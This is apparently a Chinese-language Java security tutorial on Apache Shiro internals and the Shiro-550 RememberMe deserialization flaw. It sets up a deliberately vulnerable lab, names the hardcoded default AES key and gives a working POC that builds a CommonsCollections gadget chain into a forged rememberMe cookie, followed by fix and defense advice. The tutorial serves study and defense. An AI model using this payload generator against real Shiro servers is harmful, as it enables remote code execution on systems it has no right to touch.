Java 安全 | 从 Shiro 底层源码看 Shiro 漏洞 (下)
字数 2008
更新时间 2025-08-20 18:17:59

Apache Shiro 安全漏洞分析与教学文档

1. Shiro 核心架构解析

1.1 核心组件关系

  • FilterChainResolver:负责解析请求路径并匹配对应的过滤器链
  • PathMatchingFilterChainResolver:实现类,将FilterChainManager设置进去
  • SpringShiroFilter:核心过滤器,继承OncePerRequestFilter
    • 封装request/response为ShiroHttpServletRequest/ShiroHttpServletResponse
    • 实现HttpServletRequest/HttpServletResponse接口

1.2 认证流程

  1. Subject创建流程

    • WebSubject.Builder构建SubjectContext
    • SubjectContext是一个Map,包含:
      • SecurityManager
      • ShiroServletRequest
      • ShiroServletResponse
      • 当前HTTP请求状态
  2. 认证检查顺序

    • 首先检查SESSION中是否存在用户信息
    • 如果SESSION不存在或无效,则通过RememberMe组件反序列化用户信息
  3. Subject执行

    • WebDelegatingSubject执行SubjectCallable
    • 将Subject与线程绑定
    • 匹配URI与FilterChainManager中的配置

1.3 过滤器链执行

  • 匹配流程

    • 获取当前URI
    • 与FilterChainManager中的URI逐步匹配
    • 匹配成功后调用filterChainManager.proxy()
  • 过滤器示例

    • AnonymousFilter(anon):直接返回true,允许所有访问
    • LogoutFilter(logout):调用subject.logout()清空状态
    • UserFilter:在父类中定义复杂逻辑

2. 环境搭建指南

2.1 SpringMVC环境配置

Maven依赖

<dependencies>
    <!-- 基础依赖 -->
    <dependency>
        <groupId>junit</groupId>
        <artifactId>junit</artifactId>
        <version>4.11</version>
    </dependency>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-webmvc</artifactId>
        <version>5.3.8</version>
    </dependency>
    
    <!-- Shiro相关 -->
    <dependency>
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-spring</artifactId>
        <version>1.2.3</version>
    </dependency>
    
    <!-- 漏洞利用链 -->
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

web.xml配置

<filter>
    <filter-name>shiroFilter</filter-name>
    <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
    <init-param>
        <param-name>targetFilterLifecycle</param-name>
        <param-value>true</param-value>
    </init-param>
</filter>
<filter-mapping>
    <filter-name>shiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

ApplicationContext.xml配置

<bean id="defaultWebSecurityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
    <property name="rememberMeManager">
        <bean class="org.apache.shiro.web.mgt.CookieRememberMeManager">
            <property name="cookie">
                <bean class="org.apache.shiro.web.servlet.SimpleCookie">
                    <property name="name" value="rememberMe"/>
                    <property name="maxAge" value="60"/>
                </bean>
            </property>
        </bean>
    </property>
    <property name="realm">
        <bean class="com.heihu577.realm.MyRealm"/>
    </property>
</bean>

<bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">
    <property name="filterChainDefinitionMap">
        <map>
            <entry key="/index" value="user"/>
            <entry key="/login" value="anon"/>
            <entry key="/user/login" value="anon"/>
            <entry key="/**" value="authc"/>
        </map>
    </property>
    <property name="securityManager" ref="defaultWebSecurityManager"/>
</bean>

2.2 自定义Realm示例

public class MyRealm extends AuthorizingRealm {
    @Override
    public String getName() {
        return "myRealm";
    }

    @Override
    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
        return null;
    }

    @Override
    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) {
        UsernamePasswordToken upToken = (UsernamePasswordToken) token;
        String username = upToken.getUsername();
        return new SimpleAuthenticationInfo(username, "heihu577", getName());
    }
}

3. Shiro-550漏洞深度分析

3.1 漏洞条件

  • Shiro版本 < 1.2.4
  • 启用了RememberMe功能
  • 存在可利用的反序列化链(如commons-collections)

3.2 漏洞原理

  1. RememberMe处理流程

    • 获取Cookie中的rememberMe值
    • Base64解码
    • 使用AES解密(密钥硬编码)
    • 反序列化解密后的数据
  2. 关键问题

    • AES加密使用默认密钥kPH+bIxk5D2deZiIxcaaaA==
    • 攻击者可伪造加密数据

3.3 漏洞利用POC

public class MyExp01 {
    public static void main(String[] args) throws Exception {
        AesCipherService aesCipherService = new AesCipherService();
        
        // 构造恶意TemplatesImpl
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        bytecodes.setAccessible(true);
        
        // 设置恶意字节码
        byte[][] myBytes = new byte[1][];
        myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类Base64");
        bytecodes.set(templates, myBytes);
        name.set(templates, "");
        
        // 构造CC链
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        });
        
        HashMap<Object, Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
        
        // 生成最终payload
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "heihu577");
        HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
        hsMap.put(tiedMapEntry, "value");
        
        // 序列化并加密
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hsMap);
        oos.close();
        
        byte[] encrypted = aesCipherService.encrypt(bos.toByteArray(), 
            Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")).getBytes();
        
        String rememberMe = Base64.encodeToString(encrypted);
        System.out.println("rememberMe=" + rememberMe);
    }
}

3.4 漏洞修复方案

  1. 升级Shiro到1.2.4及以上版本
  2. 自定义RememberMe加密密钥:
    CookieRememberMeManager rememberMeManager = new CookieRememberMeManager();
    rememberMeManager.setCipherKey(Base64.decode("自定义密钥"));
    securityManager.setRememberMeManager(rememberMeManager);
    
  3. 禁用RememberMe功能(如不需要)

4. DelegatingFilterProxy机制解析

4.1 核心作用

  • 在Spring MVC环境中桥接传统Filter与Spring Bean
  • 解决Tomcat注册Filter在Spring容器初始化之前的问题

4.2 关键方法

  1. init:

    • 初始化targetFilterLifecycle配置
    • 保存filterConfigtargetBeanName
  2. doFilter:

    • 获取Spring容器中的Filter Bean
    • 根据配置调用目标Filter的init方法
    • 委托调用目标Filter的doFilter方法

4.3 与SpringBoot区别

  • SpringBoot使用FilterRegistrationBean自动注册Filter
  • Spring MVC需要手动配置DelegatingFilterProxy

5. 防御建议

  1. 及时升级:保持Shiro最新版本
  2. 密钥管理
    • 避免使用默认密钥
    • 定期轮换密钥
  3. 反序列化防护
    • 使用SerializationWhitelist
    • 限制反序列化类
  4. 最小权限:Realm实现遵循最小权限原则
  5. 监控审计:记录异常认证尝试

6. 扩展知识

  1. 其他Shiro漏洞

    • Shiro-721(Padding Oracle漏洞)
    • 权限绕过漏洞(CVE-2020-13933)
  2. 安全开发建议

    • 避免在RememberMe中存储敏感信息
    • 自定义Filter时注意安全边界
    • 定期安全审计
  3. 调试技巧

    • 关键断点:
      • AbstractShiroFilter.doFilterInternal
      • DefaultSecurityManager.resolvePrincipals
      • CookieRememberMeManager.getRememberedPrincipals
相似文章
相似文章
 全屏